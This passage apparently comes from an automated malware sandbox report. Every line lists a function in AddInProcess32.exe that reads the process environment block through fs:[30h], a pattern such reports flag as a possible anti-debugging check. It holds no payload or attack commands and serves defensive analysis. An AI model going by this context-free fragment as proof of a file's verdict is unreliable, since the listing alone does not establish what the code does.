Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B70C0 mov eax, dword ptr fs:[00000030h]	5_2_018B70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019220DE mov eax, dword ptr fs:[00000030h]	5_2_019220DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019750D9 mov eax, dword ptr fs:[00000030h]	5_2_019750D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0191D0C0 mov eax, dword ptr fs:[00000030h]	5_2_0191D0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0191D0C0 mov eax, dword ptr fs:[00000030h]	5_2_0191D0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C90DB mov eax, dword ptr fs:[00000030h]	5_2_018C90DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A80E9 mov eax, dword ptr fs:[00000030h]	5_2_018A80E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C50E4 mov eax, dword ptr fs:[00000030h]	5_2_018C50E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C50E4 mov ecx, dword ptr fs:[00000030h]	5_2_018C50E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189A0E3 mov ecx, dword ptr fs:[00000030h]	5_2_0189A0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019260E0 mov eax, dword ptr fs:[00000030h]	5_2_019260E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189C0F0 mov eax, dword ptr fs:[00000030h]	5_2_0189C0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018E20F0 mov ecx, dword ptr fs:[00000030h]	5_2_018E20F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01924000 mov ecx, dword ptr fs:[00000030h]	5_2_01924000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018BE016 mov eax, dword ptr fs:[00000030h]	5_2_018BE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018BE016 mov eax, dword ptr fs:[00000030h]	5_2_018BE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018BE016 mov eax, dword ptr fs:[00000030h]	5_2_018BE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018BE016 mov eax, dword ptr fs:[00000030h]	5_2_018BE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0196903E mov eax, dword ptr fs:[00000030h]	5_2_0196903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0196903E mov eax, dword ptr fs:[00000030h]	5_2_0196903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0196903E mov eax, dword ptr fs:[00000030h]	5_2_0196903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0196903E mov eax, dword ptr fs:[00000030h]	5_2_0196903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189A020 mov eax, dword ptr fs:[00000030h]	5_2_0189A020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189C020 mov eax, dword ptr fs:[00000030h]	5_2_0189C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01926050 mov eax, dword ptr fs:[00000030h]	5_2_01926050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194705E mov ebx, dword ptr fs:[00000030h]	5_2_0194705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194705E mov eax, dword ptr fs:[00000030h]	5_2_0194705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A2050 mov eax, dword ptr fs:[00000030h]	5_2_018A2050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CB052 mov eax, dword ptr fs:[00000030h]	5_2_018CB052
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0191D070 mov ecx, dword ptr fs:[00000030h]	5_2_0191D070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01975060 mov eax, dword ptr fs:[00000030h]	5_2_01975060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov eax, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov ecx, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov eax, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov eax, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov eax, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov eax, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov eax, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov eax, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov eax, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov eax, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov eax, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov eax, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B1070 mov eax, dword ptr fs:[00000030h]	5_2_018B1070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192106E mov eax, dword ptr fs:[00000030h]	5_2_0192106E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CC073 mov eax, dword ptr fs:[00000030h]	5_2_018CC073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189E388 mov eax, dword ptr fs:[00000030h]	5_2_0189E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189E388 mov eax, dword ptr fs:[00000030h]	5_2_0189E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189E388 mov eax, dword ptr fs:[00000030h]	5_2_0189E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C438F mov eax, dword ptr fs:[00000030h]	5_2_018C438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C438F mov eax, dword ptr fs:[00000030h]	5_2_018C438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0197539D mov eax, dword ptr fs:[00000030h]	5_2_0197539D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018F739A mov eax, dword ptr fs:[00000030h]	5_2_018F739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018F739A mov eax, dword ptr fs:[00000030h]	5_2_018F739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01898397 mov eax, dword ptr fs:[00000030h]	5_2_01898397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01898397 mov eax, dword ptr fs:[00000030h]	5_2_01898397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01898397 mov eax, dword ptr fs:[00000030h]	5_2_01898397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C33A5 mov eax, dword ptr fs:[00000030h]	5_2_018C33A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D33A0 mov eax, dword ptr fs:[00000030h]	5_2_018D33A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D33A0 mov eax, dword ptr fs:[00000030h]	5_2_018D33A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0195B3D0 mov ecx, dword ptr fs:[00000030h]	5_2_0195B3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AA3C0 mov eax, dword ptr fs:[00000030h]	5_2_018AA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AA3C0 mov eax, dword ptr fs:[00000030h]	5_2_018AA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AA3C0 mov eax, dword ptr fs:[00000030h]	5_2_018AA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AA3C0 mov eax, dword ptr fs:[00000030h]	5_2_018AA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AA3C0 mov eax, dword ptr fs:[00000030h]	5_2_018AA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AA3C0 mov eax, dword ptr fs:[00000030h]	5_2_018AA3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A83C0 mov eax, dword ptr fs:[00000030h]	5_2_018A83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A83C0 mov eax, dword ptr fs:[00000030h]	5_2_018A83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A83C0 mov eax, dword ptr fs:[00000030h]	5_2_018A83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A83C0 mov eax, dword ptr fs:[00000030h]	5_2_018A83C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019263C0 mov eax, dword ptr fs:[00000030h]	5_2_019263C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0195C3CD mov eax, dword ptr fs:[00000030h]	5_2_0195C3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B03E9 mov eax, dword ptr fs:[00000030h]	5_2_018B03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B03E9 mov eax, dword ptr fs:[00000030h]	5_2_018B03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B03E9 mov eax, dword ptr fs:[00000030h]	5_2_018B03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B03E9 mov eax, dword ptr fs:[00000030h]	5_2_018B03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B03E9 mov eax, dword ptr fs:[00000030h]	5_2_018B03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B03E9 mov eax, dword ptr fs:[00000030h]	5_2_018B03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B03E9 mov eax, dword ptr fs:[00000030h]	5_2_018B03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B03E9 mov eax, dword ptr fs:[00000030h]	5_2_018B03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019753FC mov eax, dword ptr fs:[00000030h]	5_2_019753FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D63FF mov eax, dword ptr fs:[00000030h]	5_2_018D63FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0195F3E6 mov eax, dword ptr fs:[00000030h]	5_2_0195F3E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018BE3F0 mov eax, dword ptr fs:[00000030h]	5_2_018BE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018BE3F0 mov eax, dword ptr fs:[00000030h]	5_2_018BE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018BE3F0 mov eax, dword ptr fs:[00000030h]	5_2_018BE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DA30B mov eax, dword ptr fs:[00000030h]	5_2_018DA30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DA30B mov eax, dword ptr fs:[00000030h]	5_2_018DA30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DA30B mov eax, dword ptr fs:[00000030h]	5_2_018DA30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189C310 mov ecx, dword ptr fs:[00000030h]	5_2_0189C310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192930B mov eax, dword ptr fs:[00000030h]	5_2_0192930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192930B mov eax, dword ptr fs:[00000030h]	5_2_0192930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192930B mov eax, dword ptr fs:[00000030h]	5_2_0192930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C0310 mov ecx, dword ptr fs:[00000030h]	5_2_018C0310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CF32A mov eax, dword ptr fs:[00000030h]	5_2_018CF32A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01897330 mov eax, dword ptr fs:[00000030h]	5_2_01897330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0196132D mov eax, dword ptr fs:[00000030h]	5_2_0196132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0196132D mov eax, dword ptr fs:[00000030h]	5_2_0196132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0196A352 mov eax, dword ptr fs:[00000030h]	5_2_0196A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189D34C mov eax, dword ptr fs:[00000030h]	5_2_0189D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189D34C mov eax, dword ptr fs:[00000030h]	5_2_0189D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192035C mov eax, dword ptr fs:[00000030h]	5_2_0192035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192035C mov eax, dword ptr fs:[00000030h]	5_2_0192035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192035C mov eax, dword ptr fs:[00000030h]	5_2_0192035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192035C mov ecx, dword ptr fs:[00000030h]	5_2_0192035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192035C mov eax, dword ptr fs:[00000030h]	5_2_0192035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0192035C mov eax, dword ptr fs:[00000030h]	5_2_0192035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01975341 mov eax, dword ptr fs:[00000030h]	5_2_01975341
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01899353 mov eax, dword ptr fs:[00000030h]	5_2_01899353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01899353 mov eax, dword ptr fs:[00000030h]	5_2_01899353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01922349 mov eax, dword ptr fs:[00000030h]	5_2_01922349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0194437C mov eax, dword ptr fs:[00000030h]	5_2_0194437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0195F367 mov eax, dword ptr fs:[00000030h]	5_2_0195F367
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A7370 mov eax, dword ptr fs:[00000030h]	5_2_018A7370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A7370 mov eax, dword ptr fs:[00000030h]	5_2_018A7370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A7370 mov eax, dword ptr fs:[00000030h]	5_2_018A7370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE284 mov eax, dword ptr fs:[00000030h]	5_2_018DE284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE284 mov eax, dword ptr fs:[00000030h]	5_2_018DE284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01920283 mov eax, dword ptr fs:[00000030h]	5_2_01920283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01920283 mov eax, dword ptr fs:[00000030h]	5_2_01920283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01920283 mov eax, dword ptr fs:[00000030h]	5_2_01920283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D329E mov eax, dword ptr fs:[00000030h]	5_2_018D329E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D329E mov eax, dword ptr fs:[00000030h]	5_2_018D329E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01975283 mov eax, dword ptr fs:[00000030h]	5_2_01975283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B52A0 mov eax, dword ptr fs:[00000030h]	5_2_018B52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B52A0 mov eax, dword ptr fs:[00000030h]	5_2_018B52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B52A0 mov eax, dword ptr fs:[00000030h]	5_2_018B52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018B52A0 mov eax, dword ptr fs:[00000030h]	5_2_018B52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019292BC mov eax, dword ptr fs:[00000030h]	5_2_019292BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019292BC mov eax, dword ptr fs:[00000030h]	5_2_019292BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019292BC mov ecx, dword ptr fs:[00000030h]	5_2_019292BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019292BC mov ecx, dword ptr fs:[00000030h]	5_2_019292BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019692A6 mov eax, dword ptr fs:[00000030h]	5_2_019692A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019692A6 mov eax, dword ptr fs:[00000030h]	5_2_019692A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019692A6 mov eax, dword ptr fs:[00000030h]	5_2_019692A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019692A6 mov eax, dword ptr fs:[00000030h]	5_2_019692A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019362A0 mov eax, dword ptr fs:[00000030h]	5_2_019362A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019362A0 mov ecx, dword ptr fs:[00000030h]	5_2_019362A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019362A0 mov eax, dword ptr fs:[00000030h]	5_2_019362A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019362A0 mov eax, dword ptr fs:[00000030h]	5_2_019362A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019362A0 mov eax, dword ptr fs:[00000030h]	5_2_019362A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019362A0 mov eax, dword ptr fs:[00000030h]	5_2_019362A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019372A0 mov eax, dword ptr fs:[00000030h]	5_2_019372A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019372A0 mov eax, dword ptr fs:[00000030h]	5_2_019372A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AA2C3 mov eax, dword ptr fs:[00000030h]	5_2_018AA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AA2C3 mov eax, dword ptr fs:[00000030h]	5_2_018AA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AA2C3 mov eax, dword ptr fs:[00000030h]	5_2_018AA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AA2C3 mov eax, dword ptr fs:[00000030h]	5_2_018AA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AA2C3 mov eax, dword ptr fs:[00000030h]	5_2_018AA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CB2C0 mov eax, dword ptr fs:[00000030h]	5_2_018CB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CB2C0 mov eax, dword ptr fs:[00000030h]	5_2_018CB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CB2C0 mov eax, dword ptr fs:[00000030h]	5_2_018CB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CB2C0 mov eax, dword ptr fs:[00000030h]	5_2_018CB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CB2C0 mov eax, dword ptr fs:[00000030h]	5_2_018CB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CB2C0 mov eax, dword ptr fs:[00000030h]	5_2_018CB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018CB2C0 mov eax, dword ptr fs:[00000030h]	5_2_018CB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A92C5 mov eax, dword ptr fs:[00000030h]	5_2_018A92C5
